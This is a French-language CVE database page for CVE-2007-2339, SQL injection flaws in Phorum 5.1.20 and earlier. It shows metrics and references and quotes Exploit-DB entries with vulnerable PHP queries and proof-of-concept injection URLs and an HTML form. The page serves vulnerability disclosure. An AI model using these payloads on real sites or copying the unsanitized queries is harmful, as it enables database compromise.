CVE-2007-2339 : Détail

CVE-2007-2339

2.64%V4
Network
2007-04-27
14h00 +00:00
2018-10-16
12h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Multiple SQL injection vulnerabilities in Phorum before 5.1.22 allow remote attackers to execute arbitrary SQL commands via (1) a modified recipients parameter name in (a) pm.php; (2) the curr parameter to the (b) badwords (aka censorlist) or (c) banlist module in admin.php; or (3) the "Edit groups / Add group" field in the (d) groups module in admin.php.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 29893

Date de publication : 2007-04-22 22h00 +00:00
Auteur : Janek Vind
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/23616/info Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input. Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation. Phorum 5.1.20 is affected; prior versions may also be vulnerable. > From source code - "include/db/mysql.php" line 3223: -------------------------------------------------- function phorum_db_del_banitem($banid) { $PHORUM = $GLOBALS["PHORUM"]; $conn = phorum_db_mysql_connect(); $sql = "DELETE FROM {$PHORUM['banlist_table']} WHERE id = $banid"; $res = mysql_query($sql, $conn); --------------------------------------------------- PoC: http://localhost/phorum.5.1.20/admin.php?module=banlist&delete=1&curr=OR ... and we will get error message: <!-- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'OR' at line 1: DELETE FROM phorum_banlists WHERE id = OR -->
Exploit Database EDB-ID : 29894

Date de publication : 2007-04-22 22h00 +00:00
Auteur : Janek Vind
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/23616/info Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input. Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation. Phorum 5.1.20 is affected; prior versions may also be vulnerable. Let's try to add group named "war'axe": http://localhost/phorum.5.1.20/admin.php?module=groups Edit groups / Add group --> war'axe <!-- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'axe')' at line 1: insert into phorum_groups (name) values ('war'axe') -->
Exploit Database EDB-ID : 29892

Date de publication : 2007-04-22 22h00 +00:00
Auteur : Janek Vind
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/23616/info Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input. Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation. Phorum 5.1.20 is affected; prior versions may also be vulnerable. Let's look at source code of "include/db/mysq.php" ~ line 1881 : ------------------[source code]---------------------- function phorum_db_user_get($user_id, $detailed) { $PHORUM = $GLOBALS["PHORUM"]; $conn = phorum_db_mysql_connect(); if(is_array($user_id)){ $user_ids=implode(",", $user_id); } else { $user_ids=(int)$user_id; } $users = array(); $sql = "select * from {$PHORUM['user_table']} where user_id in ($user_ids)"; $res = mysql_query($sql, $conn); if ($err = mysql_error()) phorum_db_mysql_error("$err: $sql"); ------------------[/source code]---------------------- As we can see, if "$user_id" is array, then there is no sanitize against data before using in sql query. After some research I have found a way to use this bug for sql injection. For this, first of all, potential attacker must have valid user account in specific Phorum-powered website and he/she must be logged in. And then let's try this proof-of-concept html file: ------------------[PoC exploit]----------------------- <html> <body> <form action="http://localhost/phorum.5.1.20/pm.php" method="post"> <input type="hidden" name="recipients[1) OR foobar=123/* ]" value="waraxe"> <input type="submit" name"test" value="test"> </body> </html>

Products Mentioned

Configuraton 0

Phorum>>Phorum >> Version To (including) 5.1.20

Références

http://www.phorum.org/story.php?76
Tags : x_refsource_CONFIRM
http://securitytracker.com/id?1017936
Tags : vdb-entry, x_refsource_SECTRACK
http://osvdb.org/35062
Tags : vdb-entry, x_refsource_OSVDB
http://www.vupen.com/english/advisories/2007/1479
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/24932
Tags : third-party-advisory, x_refsource_SECUNIA
http://securityreason.com/securityalert/2617
Tags : third-party-advisory, x_refsource_SREASON
http://www.securityfocus.com/bid/23616
Tags : vdb-entry, x_refsource_BID
http://osvdb.org/35064
Tags : vdb-entry, x_refsource_OSVDB
http://osvdb.org/35063
Tags : vdb-entry, x_refsource_OSVDB
Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.